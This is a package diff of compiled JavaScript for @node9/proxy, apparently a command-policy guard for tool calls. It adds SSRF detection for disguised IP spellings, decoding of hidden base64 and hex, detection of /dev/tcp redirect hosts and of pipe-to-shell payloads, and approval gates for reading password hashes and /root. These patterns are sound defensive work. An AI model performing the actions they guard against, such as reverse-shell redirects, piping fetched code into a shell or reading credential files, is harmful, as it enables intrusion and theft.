@node9/proxy 2.34.0 → 2.36.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -2
- package/dist/cli.js +4225 -2499
- package/dist/cli.mjs +4140 -2414
- package/dist/dashboard.mjs +457 -96
- package/dist/index.js +2059 -674
- package/dist/index.mjs +2059 -674
- package/dist/scan-ink.mjs +290 -77
- package/package.json +3 -3
package/dist/index.js
CHANGED
|
@@ -286,6 +286,17 @@ function classifySsrf(host2) {
|
|
|
286
286
|
return null;
|
|
287
287
|
}
|
|
288
288
|
}
|
|
289
|
+
function isDisguisedSpelling(asWritten, normalized) {
|
|
290
|
+
let s = asWritten.trim().toLowerCase().replace(/\.$/, "");
|
|
291
|
+
if (s.startsWith("[") && s.endsWith("]")) s = s.slice(1, -1);
|
|
292
|
+
if (s === normalized) return false;
|
|
293
|
+
const parts = s.split(".");
|
|
294
|
+
const shorthand = parts.length >= 2 && parts.length <= 3 && parts.every((p) => /^(?:0|[1-9][0-9]*)$/.test(p));
|
|
295
|
+
return !shorthand;
|
|
296
|
+
}
|
|
297
|
+
function ssrfDisguisedReason(m, asWritten) {
|
|
298
|
+
return `${asWritten} is ${TIER_REASON[m.tier]} written in a disguised form` + (m.normalized ? ` (${m.normalized})` : "") + ". Plain spellings of it are allowed; this one needs a look.";
|
|
299
|
+
}
|
|
289
300
|
function ssrfExemptMatches(entries, normalized) {
|
|
290
301
|
if (!entries?.length || !normalized) return false;
|
|
291
302
|
const target = bitsOf(normalized);
|
|
@@ -322,12 +333,26 @@ function ssrfFloor(tokens, opts = {}) {
|
|
|
322
333
|
for (const { token, binary } of tokens) {
|
|
323
334
|
const m = classifySsrf(token);
|
|
324
335
|
if (!m) continue;
|
|
325
|
-
|
|
326
|
-
if (
|
|
327
|
-
return {
|
|
336
|
+
const decision = ssrfFloorDecision(m, token, opts);
|
|
337
|
+
if (decision === null) continue;
|
|
338
|
+
return {
|
|
339
|
+
...m,
|
|
340
|
+
host: token,
|
|
341
|
+
binary,
|
|
342
|
+
decision,
|
|
343
|
+
reason: decision === "review" ? ssrfDisguisedReason(m, token) : ssrfReason(m, token)
|
|
344
|
+
};
|
|
328
345
|
}
|
|
329
346
|
return null;
|
|
330
347
|
}
|
|
348
|
+
function ssrfFloorDecision(m, asWritten, opts) {
|
|
349
|
+
if (m.overridable && ssrfExemptMatches(opts.ssrfAllow, m.normalized)) return null;
|
|
350
|
+
if (isStrictGatedTier(m.tier) && !opts.ssrfStrict) {
|
|
351
|
+
if (opts.allowPrivate || m.kind !== "address" || !m.normalized) return null;
|
|
352
|
+
return isDisguisedSpelling(asWritten, m.normalized) ? "review" : null;
|
|
353
|
+
}
|
|
354
|
+
return "block";
|
|
355
|
+
}
|
|
331
356
|
function isVerdict(v) {
|
|
332
357
|
return v === "off" || v === "log" || v === "review" || v === "block";
|
|
333
358
|
}
|
|
@@ -495,6 +520,63 @@ function resolveCheckMap(settings) {
|
|
|
495
520
|
for (const c of CHECKS) out[c.id] = checkValue(settings, c.id);
|
|
496
521
|
return out;
|
|
497
522
|
}
|
|
523
|
+
function isInvisibleChar(char) {
|
|
524
|
+
return INVISIBLE_ONE.test(char);
|
|
525
|
+
}
|
|
526
|
+
function stripInvisible(text) {
|
|
527
|
+
return text.replace(INVISIBLE_RE, "");
|
|
528
|
+
}
|
|
529
|
+
function foldHomoglyphs(text) {
|
|
530
|
+
return text.normalize("NFKC").replace(HOMOGLYPH_RE, (c) => HOMOGLYPHS[c] ?? c);
|
|
531
|
+
}
|
|
532
|
+
function normalizeForScan(text) {
|
|
533
|
+
return foldHomoglyphs(stripInvisible(text));
|
|
534
|
+
}
|
|
535
|
+
function looksLikeText(buf) {
|
|
536
|
+
if (buf.length < MIN_DECODED) return false;
|
|
537
|
+
let printable = 0;
|
|
538
|
+
for (const b of buf) {
|
|
539
|
+
if (b >= 32 && b <= 126 || b === 10 || b === 13 || b === 9) printable++;
|
|
540
|
+
}
|
|
541
|
+
return printable / buf.length >= 0.9;
|
|
542
|
+
}
|
|
543
|
+
function decodeEmbeddedBase64(text) {
|
|
544
|
+
const out = [];
|
|
545
|
+
for (const m of text.matchAll(BASE64_RUN_RE)) {
|
|
546
|
+
if (out.length >= MAX_BLOBS) break;
|
|
547
|
+
const run = m[0];
|
|
548
|
+
if (/^[0-9a-fA-F]+$/.test(run)) continue;
|
|
549
|
+
const buf = Buffer.from(run, "base64");
|
|
550
|
+
if (looksLikeText(buf)) out.push(buf.toString("utf8"));
|
|
551
|
+
}
|
|
552
|
+
return out;
|
|
553
|
+
}
|
|
554
|
+
function decodeEmbeddedHex(text) {
|
|
555
|
+
const out = [];
|
|
556
|
+
for (const m of text.matchAll(HEX_RUN_RE)) {
|
|
557
|
+
if (out.length >= MAX_BLOBS) break;
|
|
558
|
+
const buf = Buffer.from(m[0], "hex");
|
|
559
|
+
if (looksLikeText(buf)) out.push(buf.toString("utf8"));
|
|
560
|
+
}
|
|
561
|
+
for (const m of text.matchAll(HEX_ESCAPE_RUN_RE)) {
|
|
562
|
+
if (out.length >= MAX_BLOBS) break;
|
|
563
|
+
const buf = Buffer.from(m[0].replace(/\\x/g, ""), "hex");
|
|
564
|
+
if (looksLikeText(buf)) out.push(buf.toString("utf8"));
|
|
565
|
+
}
|
|
566
|
+
return out;
|
|
567
|
+
}
|
|
568
|
+
function scanViews(text) {
|
|
569
|
+
const views = [{ kind: "original", text }];
|
|
570
|
+
const normalized = normalizeForScan(text);
|
|
571
|
+
if (normalized !== text) views.push({ kind: "normalized", text: normalized });
|
|
572
|
+
for (const t of decodeEmbeddedBase64(normalized)) {
|
|
573
|
+
views.push({ kind: "base64", text: normalizeForScan(t) });
|
|
574
|
+
}
|
|
575
|
+
for (const t of decodeEmbeddedHex(normalized)) {
|
|
576
|
+
views.push({ kind: "hex", text: normalizeForScan(t) });
|
|
577
|
+
}
|
|
578
|
+
return views;
|
|
579
|
+
}
|
|
498
580
|
function isCatHeredocOrLit(part) {
|
|
499
581
|
if (!part) return false;
|
|
500
582
|
const t = syntax.NodeType(part);
|
|
@@ -565,14 +647,78 @@ function normalizeCommandForPolicy(command) {
|
|
|
565
647
|
}
|
|
566
648
|
function commandReadings(command) {
|
|
567
649
|
const r = commandReadingsImpl(command);
|
|
568
|
-
|
|
650
|
+
const out = /* @__PURE__ */ new Set([r.posix, r.separator, r.folded]);
|
|
651
|
+
for (const payload of literalPayloadsOf(r.posix, 0)) {
|
|
652
|
+
for (const reading of commandReadings(payload)) out.add(reading);
|
|
653
|
+
}
|
|
654
|
+
return [...out];
|
|
655
|
+
}
|
|
656
|
+
function literalPayloadsOf(command, depth) {
|
|
657
|
+
if (depth > 0 || !/\b(?:sh|bash|zsh|dash|ksh|eval)\b/.test(command)) return [];
|
|
658
|
+
const f = parseShared(command);
|
|
659
|
+
if (f === PARSE_FAIL) return [];
|
|
660
|
+
const out = [];
|
|
661
|
+
try {
|
|
662
|
+
syntax.Walk(f, (node) => {
|
|
663
|
+
if (!node || out.length >= MAX_READING_PAYLOADS) return false;
|
|
664
|
+
const n = node;
|
|
665
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
666
|
+
const words = (n.Args || []).map((a) => resolveWordLiteral(a));
|
|
667
|
+
if (words.length === 0) return true;
|
|
668
|
+
const payload = literalShellPayload(words, baseWord(words[0]));
|
|
669
|
+
if (payload !== null && payload !== command) out.push(payload);
|
|
670
|
+
return true;
|
|
671
|
+
});
|
|
672
|
+
} catch {
|
|
673
|
+
return out;
|
|
674
|
+
}
|
|
675
|
+
return out;
|
|
676
|
+
}
|
|
677
|
+
function foldCommandWords(reading) {
|
|
678
|
+
if (!/[^\x00-\x7f]/.test(reading)) return reading;
|
|
679
|
+
const f = parseShared(reading);
|
|
680
|
+
if (f === PARSE_FAIL) return reading;
|
|
681
|
+
const toCharIndex = byteOffsetToCharIndex(reading);
|
|
682
|
+
const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
|
|
683
|
+
const edits = [];
|
|
684
|
+
try {
|
|
685
|
+
syntax.Walk(f, (node) => {
|
|
686
|
+
if (!node) return false;
|
|
687
|
+
const n = node;
|
|
688
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
689
|
+
const args = n.Args || [];
|
|
690
|
+
const words = args.map((a) => resolveWordLiteral(a));
|
|
691
|
+
const folded = words.map((w) => w === null ? null : foldHomoglyphs(w));
|
|
692
|
+
const head = unwrapCommandHead(folded);
|
|
693
|
+
for (let i = 0; i <= head && i < args.length; i++) {
|
|
694
|
+
const parts = args[i].Parts || [];
|
|
695
|
+
if (parts.length !== 1 || syntax.NodeType(parts[0]) !== "Lit") continue;
|
|
696
|
+
const value = parts[0].Value ?? "";
|
|
697
|
+
const word = folded[i];
|
|
698
|
+
if (word === null || word === value || !/[^\x00-\x7f]/.test(value)) continue;
|
|
699
|
+
if (!/^[A-Za-z0-9._/-]+$/.test(word)) continue;
|
|
700
|
+
const s = at(args[i].Pos().Offset());
|
|
701
|
+
const e = at(args[i].End().Offset());
|
|
702
|
+
if (s < 0 || e < 0) continue;
|
|
703
|
+
edits.push([s, e, word]);
|
|
704
|
+
}
|
|
705
|
+
return true;
|
|
706
|
+
});
|
|
707
|
+
} catch {
|
|
708
|
+
return reading;
|
|
709
|
+
}
|
|
710
|
+
if (edits.length === 0) return reading;
|
|
711
|
+
edits.sort((a, b) => b[0] - a[0]);
|
|
712
|
+
let out = reading;
|
|
713
|
+
for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
|
|
714
|
+
return out;
|
|
569
715
|
}
|
|
570
716
|
function commandReadingsImpl(command) {
|
|
571
717
|
return cachedNormalize(command, () => normalizeCommandForPolicyImpl(command));
|
|
572
718
|
}
|
|
573
719
|
function normalizeCommandForPolicyImpl(command) {
|
|
574
720
|
const f = parseShared(command);
|
|
575
|
-
if (f === PARSE_FAIL) return { posix: command, separator: command };
|
|
721
|
+
if (f === PARSE_FAIL) return { posix: command, separator: command, folded: command };
|
|
576
722
|
try {
|
|
577
723
|
const toCharIndex = byteOffsetToCharIndex(command);
|
|
578
724
|
const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
|
|
@@ -640,9 +786,10 @@ function normalizeCommandForPolicyImpl(command) {
|
|
|
640
786
|
for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
|
|
641
787
|
return out;
|
|
642
788
|
};
|
|
643
|
-
|
|
789
|
+
const posix = apply(rewrites);
|
|
790
|
+
return { posix, separator: apply(quoteOnlyRewrites), folded: foldCommandWords(posix) };
|
|
644
791
|
} catch {
|
|
645
|
-
return { posix: command, separator: command };
|
|
792
|
+
return { posix: command, separator: command, folded: command };
|
|
646
793
|
}
|
|
647
794
|
}
|
|
648
795
|
function scanArgsForDynamicExec(args, startIdx) {
|
|
@@ -803,6 +950,13 @@ function shellConsumesPipe(args) {
|
|
|
803
950
|
}
|
|
804
951
|
return true;
|
|
805
952
|
}
|
|
953
|
+
function curlSourceOperand(flag, value) {
|
|
954
|
+
const file2 = (f) => f && f !== "-" && f !== "." ? f : null;
|
|
955
|
+
if (flag === "-T" || flag === "--upload-file") return file2(value);
|
|
956
|
+
if (flag === "--data-urlencode") return file2(/^[^=@]*@(.+)$/.exec(value)?.[1]);
|
|
957
|
+
if (flag === "-F" || flag === "--form") return file2(/^[^=]*=[@<]([^;]+)/.exec(value)?.[1]);
|
|
958
|
+
return value.startsWith("@") ? file2(value.slice(1)) : null;
|
|
959
|
+
}
|
|
806
960
|
function analyzeSqlDestructive(command) {
|
|
807
961
|
if (!SQL_DDL_RE.test(command)) return null;
|
|
808
962
|
const { actions } = analyzeShellCommand(command);
|
|
@@ -964,13 +1118,19 @@ function inlineExecStmt(stmt, pipeFed) {
|
|
|
964
1118
|
}
|
|
965
1119
|
let positionals2 = 0;
|
|
966
1120
|
let selectedProgram = false;
|
|
967
|
-
for (
|
|
1121
|
+
for (let i = 0; i < args.length; i++) {
|
|
1122
|
+
const a = args[i];
|
|
968
1123
|
if (a == null) {
|
|
969
1124
|
positionals2++;
|
|
970
1125
|
selectedProgram = true;
|
|
971
1126
|
continue;
|
|
972
1127
|
}
|
|
973
|
-
if (!selectedProgram && isInlineCodeFlag(interp, a))
|
|
1128
|
+
if (!selectedProgram && isInlineCodeFlag(interp, a)) {
|
|
1129
|
+
if (!/^(bash|sh|zsh|dash|ksh)$/.test(interp)) return true;
|
|
1130
|
+
const payload = args[i + 1];
|
|
1131
|
+
if (payload == null) return true;
|
|
1132
|
+
return shellPayloadNeedsReview(payload);
|
|
1133
|
+
}
|
|
974
1134
|
if (a === "-m") {
|
|
975
1135
|
selectedProgram = true;
|
|
976
1136
|
continue;
|
|
@@ -988,6 +1148,45 @@ function inlineExecStmt(stmt, pipeFed) {
|
|
|
988
1148
|
}
|
|
989
1149
|
return false;
|
|
990
1150
|
}
|
|
1151
|
+
function shellPayloadNeedsReview(payload) {
|
|
1152
|
+
if (payloadNesting >= MAX_PAYLOAD_NESTING) return true;
|
|
1153
|
+
const f = parseShared(payload);
|
|
1154
|
+
if (f === PARSE_FAIL) return true;
|
|
1155
|
+
let review = false;
|
|
1156
|
+
payloadNesting++;
|
|
1157
|
+
try {
|
|
1158
|
+
syntax.Walk(f, (node) => {
|
|
1159
|
+
if (!node || review) return false;
|
|
1160
|
+
const n = node;
|
|
1161
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
1162
|
+
const words = (n.Args || []).map((a) => resolveWordLiteral(a));
|
|
1163
|
+
if (words.length === 0) return true;
|
|
1164
|
+
const h = unwrapCommandHead(words);
|
|
1165
|
+
const head = words[h];
|
|
1166
|
+
if (head === null || head === void 0) {
|
|
1167
|
+
review = true;
|
|
1168
|
+
return false;
|
|
1169
|
+
}
|
|
1170
|
+
const name = head.split("/").pop()?.toLowerCase() ?? "";
|
|
1171
|
+
if (name === "eval" || name === "source" || name === ".") {
|
|
1172
|
+
review = true;
|
|
1173
|
+
return false;
|
|
1174
|
+
}
|
|
1175
|
+
return true;
|
|
1176
|
+
});
|
|
1177
|
+
if (!review && detectDangerousShellExec(payload) !== null) review = true;
|
|
1178
|
+
if (!review && /\|\s*(?:[\w./-]*\/)?(?:ba|z|da|k|c|fi)?sh\b|\|\s*(?:python[\d.]*|node|perl|ruby|php)\b/i.test(
|
|
1179
|
+
payload
|
|
1180
|
+
))
|
|
1181
|
+
review = true;
|
|
1182
|
+
if (!review && detectInlineExec(payload)) review = true;
|
|
1183
|
+
} catch {
|
|
1184
|
+
review = true;
|
|
1185
|
+
} finally {
|
|
1186
|
+
payloadNesting--;
|
|
1187
|
+
}
|
|
1188
|
+
return review;
|
|
1189
|
+
}
|
|
991
1190
|
function detectInlineExec(command) {
|
|
992
1191
|
const f = parseShared(command);
|
|
993
1192
|
if (f === PARSE_FAIL) {
|
|
@@ -1068,12 +1267,78 @@ function positionedArgs(words, from = 1, to = words.length) {
|
|
|
1068
1267
|
function extractLiteralArgs(callExpr) {
|
|
1069
1268
|
const rawArgs = callExpr.Args || [];
|
|
1070
1269
|
if (rawArgs.length === 0) return { name: "", flags: [], paths: [], words: [], args: [] };
|
|
1071
|
-
const words = rawArgs.map((a) => resolveWordLiteral(a));
|
|
1270
|
+
const words = rawArgs.map((a) => windowsDrivePathSpelling(a) ?? resolveWordLiteral(a));
|
|
1072
1271
|
const name = baseWord(words[0]);
|
|
1073
1272
|
const flags = words.slice(1).filter((w) => w !== null && w.startsWith("-"));
|
|
1074
1273
|
const args = positionedArgs(words);
|
|
1075
1274
|
return { name, flags, paths: args.map((a) => a.value), words, args };
|
|
1076
1275
|
}
|
|
1276
|
+
function shellScriptOperands(command) {
|
|
1277
|
+
const f = parseShared(command);
|
|
1278
|
+
if (f === PARSE_FAIL) return [];
|
|
1279
|
+
const out = [];
|
|
1280
|
+
const seen = /* @__PURE__ */ new Set();
|
|
1281
|
+
const add = (p) => {
|
|
1282
|
+
if (!p || p.startsWith("-") || seen.has(p) || out.length >= MAX_SCRIPT_OPERANDS) return;
|
|
1283
|
+
if (/(^|[\\/])node_modules[\\/]|[\\/]\.bin[\\/]/.test(p)) return;
|
|
1284
|
+
seen.add(p);
|
|
1285
|
+
out.push(p);
|
|
1286
|
+
};
|
|
1287
|
+
try {
|
|
1288
|
+
walkWithCalls(f, (node) => {
|
|
1289
|
+
if (!node) return false;
|
|
1290
|
+
const n = node;
|
|
1291
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
1292
|
+
const callArgs = n.Args || [];
|
|
1293
|
+
if (callArgs.length === 0) return true;
|
|
1294
|
+
const words = callArgs.map((a) => resolveWordLiteral(a));
|
|
1295
|
+
const h = unwrapCommandHead(words);
|
|
1296
|
+
const headWord = words[h];
|
|
1297
|
+
if (headWord === null || headWord === void 0) return true;
|
|
1298
|
+
const name = baseWord(headWord);
|
|
1299
|
+
if (SCRIPT_RUNNERS.has(name)) {
|
|
1300
|
+
for (let i = h + 1; i < words.length; i++) {
|
|
1301
|
+
const w = words[i];
|
|
1302
|
+
if (w === null) return true;
|
|
1303
|
+
if (w === "-c" || w === "-lc" || w === "-ec") return true;
|
|
1304
|
+
if (w === "--") {
|
|
1305
|
+
add(words[i + 1] ?? null);
|
|
1306
|
+
return true;
|
|
1307
|
+
}
|
|
1308
|
+
if (w.startsWith("-") || w.startsWith("+")) {
|
|
1309
|
+
if (SCRIPT_RUNNER_VALUE_FLAGS.has(w)) i++;
|
|
1310
|
+
continue;
|
|
1311
|
+
}
|
|
1312
|
+
add(w);
|
|
1313
|
+
return true;
|
|
1314
|
+
}
|
|
1315
|
+
return true;
|
|
1316
|
+
}
|
|
1317
|
+
if (/[\\/]/.test(headWord)) add(headWord);
|
|
1318
|
+
return true;
|
|
1319
|
+
});
|
|
1320
|
+
} catch {
|
|
1321
|
+
return out;
|
|
1322
|
+
}
|
|
1323
|
+
return out;
|
|
1324
|
+
}
|
|
1325
|
+
function windowsDrivePathSpelling(word) {
|
|
1326
|
+
const parts = word?.Parts || [];
|
|
1327
|
+
if (parts.length === 0 || !parts.every((p) => syntax.NodeType(p) === "Lit")) return null;
|
|
1328
|
+
const raw = parts.map((p) => p.Value ?? "").join("");
|
|
1329
|
+
return /^[A-Za-z]:\\[^\s'"$`]*$/.test(raw) ? raw : null;
|
|
1330
|
+
}
|
|
1331
|
+
function devNetRedirectHost(word) {
|
|
1332
|
+
if (!word) return null;
|
|
1333
|
+
const m = /^\/dev\/(tcp|udp)\/([^/\s]+)\/([^/\s]+)$/i.exec(word.trim());
|
|
1334
|
+
if (!m) return null;
|
|
1335
|
+
const host2 = m[2].toLowerCase();
|
|
1336
|
+
return host2.length <= 253 ? host2 : null;
|
|
1337
|
+
}
|
|
1338
|
+
function redirectWords(stmt) {
|
|
1339
|
+
const redirs = stmt.Redirs || [];
|
|
1340
|
+
return redirs.filter((r) => r && r.Word).map((r) => resolveWordLiteral(r.Word));
|
|
1341
|
+
}
|
|
1077
1342
|
function payloadKey(payload) {
|
|
1078
1343
|
if (!assignmentTable || assignmentTable.size === 0) return payload;
|
|
1079
1344
|
const bindings = [];
|
|
@@ -1422,7 +1687,18 @@ function extractShellDestinations(command) {
|
|
|
1422
1687
|
() => walkWithCalls(f, (node) => {
|
|
1423
1688
|
if (!node) return false;
|
|
1424
1689
|
const n = node;
|
|
1425
|
-
if (syntax.NodeType(n) === "Stmt")
|
|
1690
|
+
if (syntax.NodeType(n) === "Stmt") {
|
|
1691
|
+
trackStatement(n);
|
|
1692
|
+
for (const raw of redirectWords(n)) {
|
|
1693
|
+
const host2 = devNetRedirectHost(raw);
|
|
1694
|
+
if (!host2) continue;
|
|
1695
|
+
const binary = raw.trim().slice(0, "/dev/tcp".length).toLowerCase();
|
|
1696
|
+
const key = `${binary}:${host2}`;
|
|
1697
|
+
if (seen.has(key)) continue;
|
|
1698
|
+
seen.add(key);
|
|
1699
|
+
out.push({ host: host2, binary, raw });
|
|
1700
|
+
}
|
|
1701
|
+
}
|
|
1426
1702
|
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
1427
1703
|
const callArgs = n.Args || [];
|
|
1428
1704
|
if (callArgs.length === 0) return true;
|
|
@@ -1458,7 +1734,18 @@ function extractShellDestTokens(command) {
|
|
|
1458
1734
|
() => walkWithCalls(f, (node) => {
|
|
1459
1735
|
if (!node) return false;
|
|
1460
1736
|
const n = node;
|
|
1461
|
-
if (syntax.NodeType(n) === "Stmt")
|
|
1737
|
+
if (syntax.NodeType(n) === "Stmt") {
|
|
1738
|
+
trackStatement(n);
|
|
1739
|
+
for (const raw of redirectWords(n)) {
|
|
1740
|
+
const host2 = devNetRedirectHost(raw);
|
|
1741
|
+
if (!host2) continue;
|
|
1742
|
+
const binary = raw.trim().slice(0, "/dev/tcp".length).toLowerCase();
|
|
1743
|
+
const key = `${binary}:${host2}`;
|
|
1744
|
+
if (seen.has(key)) continue;
|
|
1745
|
+
seen.add(key);
|
|
1746
|
+
out.push({ token: host2, binary });
|
|
1747
|
+
}
|
|
1748
|
+
}
|
|
1462
1749
|
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
1463
1750
|
const callArgs = n.Args || [];
|
|
1464
1751
|
if (callArgs.length === 0) return true;
|
|
@@ -1798,8 +2085,11 @@ function copySourcePaths(words) {
|
|
|
1798
2085
|
const out = [];
|
|
1799
2086
|
for (const action of findActions(words, fi)) {
|
|
1800
2087
|
const h2 = unwrapCommandHead(action);
|
|
1801
|
-
|
|
1802
|
-
|
|
2088
|
+
const shape2 = resolveCopyShape(action, h2);
|
|
2089
|
+
if (!shape2) continue;
|
|
2090
|
+
const inner = copySourcePaths(action);
|
|
2091
|
+
const startsCopied = shape2.shape.source !== "flagOperand" || inner.some((p) => p.includes("{}"));
|
|
2092
|
+
out.push(...startsCopied ? starts : [], ...inner);
|
|
1803
2093
|
}
|
|
1804
2094
|
return out;
|
|
1805
2095
|
}
|
|
@@ -1855,11 +2145,24 @@ function copySourcePaths(words) {
|
|
|
1855
2145
|
);
|
|
1856
2146
|
return f.letter !== null && names.includes(f.letter);
|
|
1857
2147
|
};
|
|
1858
|
-
const
|
|
2148
|
+
const sourceFlagName = (w) => {
|
|
2149
|
+
const names = shape.sourceFlags ?? [];
|
|
2150
|
+
if (w.startsWith("--")) {
|
|
2151
|
+
const name = w.includes("=") ? w.slice(0, w.indexOf("=")) : w;
|
|
2152
|
+
return names.find(
|
|
2153
|
+
(n) => n.startsWith("--") && (n === name || name.length >= 3 && n.startsWith(name))
|
|
2154
|
+
) ?? name;
|
|
2155
|
+
}
|
|
2156
|
+
const letters = w.slice(1);
|
|
2157
|
+
const owner = letters.split("").find((c) => (shape.valueLetters ?? names).includes(c));
|
|
2158
|
+
return `-${owner ?? letters[letters.length - 1]}`;
|
|
2159
|
+
};
|
|
2160
|
+
const operandFile = (flag, value) => shape.sourceOperand ? shape.sourceOperand(flag, value) : value;
|
|
2161
|
+
const inline = tail.filter((w) => w !== null && w.startsWith("-")).map((w) => flagInfo(w)).filter((f) => f.attached !== null && namesSource(f)).map((f) => operandFile(f.long ?? sourceFlagName(`-${f.letter}`), f.attached));
|
|
1859
2162
|
return [
|
|
1860
|
-
...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => a.value),
|
|
2163
|
+
...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => operandFile(sourceFlagName(a.afterFlag), a.value)),
|
|
1861
2164
|
...inline
|
|
1862
|
-
];
|
|
2165
|
+
].filter((p) => p !== null);
|
|
1863
2166
|
}
|
|
1864
2167
|
case "archive":
|
|
1865
2168
|
src = archiveInputs(shape.archive, args, tail);
|
|
@@ -2205,9 +2508,9 @@ function matchesPattern(text, patterns) {
|
|
|
2205
2508
|
const withoutDotSlash = text.replace(/^\.\//, "");
|
|
2206
2509
|
return isMatch(withoutDotSlash) || isMatch(`./${withoutDotSlash}`);
|
|
2207
2510
|
}
|
|
2208
|
-
function getNestedValue(obj,
|
|
2511
|
+
function getNestedValue(obj, path27) {
|
|
2209
2512
|
if (!obj || typeof obj !== "object") return null;
|
|
2210
|
-
const segments2 =
|
|
2513
|
+
const segments2 = path27.split(".");
|
|
2211
2514
|
for (const seg of segments2) {
|
|
2212
2515
|
if (FORBIDDEN_PATH_SEGMENTS.has(seg)) return null;
|
|
2213
2516
|
}
|
|
@@ -2633,6 +2936,12 @@ function collectShellFileAccesses(command, context = {}) {
|
|
|
2633
2936
|
if (FS_READ_TOOLS.has(name) && name !== "dd") {
|
|
2634
2937
|
for (const p of readerPaths(words, head)) add("read", locate(p), state);
|
|
2635
2938
|
}
|
|
2939
|
+
if (["ls", "tree", "dir", "vdir"].includes(name)) {
|
|
2940
|
+
for (const token of args) {
|
|
2941
|
+
if (!token || token.value.startsWith("-")) continue;
|
|
2942
|
+
add("read", token, state, { listing: true });
|
|
2943
|
+
}
|
|
2944
|
+
}
|
|
2636
2945
|
if (name === "dd") {
|
|
2637
2946
|
for (const token of args)
|
|
2638
2947
|
if (token && /^(?:if|of)=/.test(token.value)) {
|
|
@@ -2848,6 +3157,8 @@ function collectShellFileAccesses(command, context = {}) {
|
|
|
2848
3157
|
function findActions2(tokens, words, head, state, nested, depth) {
|
|
2849
3158
|
const starts = findStartPoints(words, head).starts;
|
|
2850
3159
|
const roots = (starts.length ? starts : ["."]).slice(0, MAX_ALTERNATIVES);
|
|
3160
|
+
for (const start of starts.slice(0, MAX_ALTERNATIVES))
|
|
3161
|
+
add("read", { value: start }, state, { listing: true });
|
|
2851
3162
|
let nameFilter = null;
|
|
2852
3163
|
let pathFilter = null;
|
|
2853
3164
|
let shallow = false;
|
|
@@ -3182,8 +3493,8 @@ function collectFileAccesses(tool, args, context = {}, inspection = {}) {
|
|
|
3182
3493
|
}
|
|
3183
3494
|
return out;
|
|
3184
3495
|
}
|
|
3185
|
-
function within(
|
|
3186
|
-
return
|
|
3496
|
+
function within(path27, root) {
|
|
3497
|
+
return path27 === root || path27.startsWith(root === "/" ? "/" : root + "/");
|
|
3187
3498
|
}
|
|
3188
3499
|
function hits(access, paths, directories, context) {
|
|
3189
3500
|
const home = context.homeDirs?.[0] ?? "~";
|
|
@@ -3239,6 +3550,10 @@ function hitsSystemDir(access, context, dirs = SYSTEM_DIRS) {
|
|
|
3239
3550
|
}
|
|
3240
3551
|
return false;
|
|
3241
3552
|
}
|
|
3553
|
+
function hitsRootHome(access, context) {
|
|
3554
|
+
if (context.homeDirs?.[0] === "/root") return false;
|
|
3555
|
+
return hitsSystemDir(access, context, ["/root"]);
|
|
3556
|
+
}
|
|
3242
3557
|
function uploadDirs(context) {
|
|
3243
3558
|
return context.homeDirs?.[0] === "/root" ? UPLOAD_SYSTEM_DIRS.filter((d) => d !== "/root") : UPLOAD_SYSTEM_DIRS;
|
|
3244
3559
|
}
|
|
@@ -3271,10 +3586,14 @@ function evaluateProtectedFileAccess(accesses, context, settings) {
|
|
|
3271
3586
|
"files.system-dirs",
|
|
3272
3587
|
"review-system-file-upload",
|
|
3273
3588
|
"Uploading a system file requires approval"
|
|
3274
|
-
] : !mutation && hits(access, PASSWORD_HASH_FILES, [], context) ? [
|
|
3589
|
+
] : !mutation && !access.listing && hits(access, PASSWORD_HASH_FILES, [], context) ? [
|
|
3275
3590
|
"files.password-hashes",
|
|
3276
3591
|
"review-password-hash-read",
|
|
3277
3592
|
"Reading system password hashes requires approval"
|
|
3593
|
+
] : !mutation && !access.upload && hitsRootHome(access, context) ? [
|
|
3594
|
+
"files.system-dirs",
|
|
3595
|
+
"review-root-home-read",
|
|
3596
|
+
"Reading the root account's home requires approval"
|
|
3278
3597
|
] : null;
|
|
3279
3598
|
} catch {
|
|
3280
3599
|
consider(incompleteFileVerdict(access.operation));
|
|
@@ -3338,7 +3657,7 @@ function findMnemonic(text, budget = { hashes: 0, reasons: /* @__PURE__ */ new S
|
|
|
3338
3657
|
};
|
|
3339
3658
|
for (const word of text.matchAll(/[a-zA-Z]+/g)) {
|
|
3340
3659
|
const index = indices.get(word[0]);
|
|
3341
|
-
if (index === void 0 || run.length &&
|
|
3660
|
+
if (index === void 0 || run.length && !/^[\s+]+$/.test(text.slice(previousEnd, word.index))) {
|
|
3342
3661
|
if (inspect()) return true;
|
|
3343
3662
|
if (budget.reasons.has("mnemonic-budget")) return false;
|
|
3344
3663
|
run = [];
|
|
@@ -3352,95 +3671,291 @@ function findMnemonic(text, budget = { hashes: 0, reasons: /* @__PURE__ */ new S
|
|
|
3352
3671
|
}
|
|
3353
3672
|
return inspect();
|
|
3354
3673
|
}
|
|
3355
|
-
function
|
|
3356
|
-
|
|
3357
|
-
if (digits.length < 12) return false;
|
|
3358
|
-
if (!/[1-9]/.test(digits)) return false;
|
|
3359
|
-
let sum = 0;
|
|
3360
|
-
let double = false;
|
|
3361
|
-
for (let i = digits.length - 1; i >= 0; i--) {
|
|
3362
|
-
let d = digits.charCodeAt(i) - 48;
|
|
3363
|
-
if (double) {
|
|
3364
|
-
d *= 2;
|
|
3365
|
-
if (d > 9) d -= 9;
|
|
3366
|
-
}
|
|
3367
|
-
sum += d;
|
|
3368
|
-
double = !double;
|
|
3369
|
-
}
|
|
3370
|
-
return sum % 10 === 0;
|
|
3371
|
-
}
|
|
3372
|
-
function validateIban(raw) {
|
|
3373
|
-
const s = raw.replace(/[ -]/g, "").toUpperCase();
|
|
3374
|
-
if (!/^[A-Z]{2}\d{2}/.test(s)) return false;
|
|
3375
|
-
const want = IBAN_LENGTH[s.slice(0, 2)];
|
|
3376
|
-
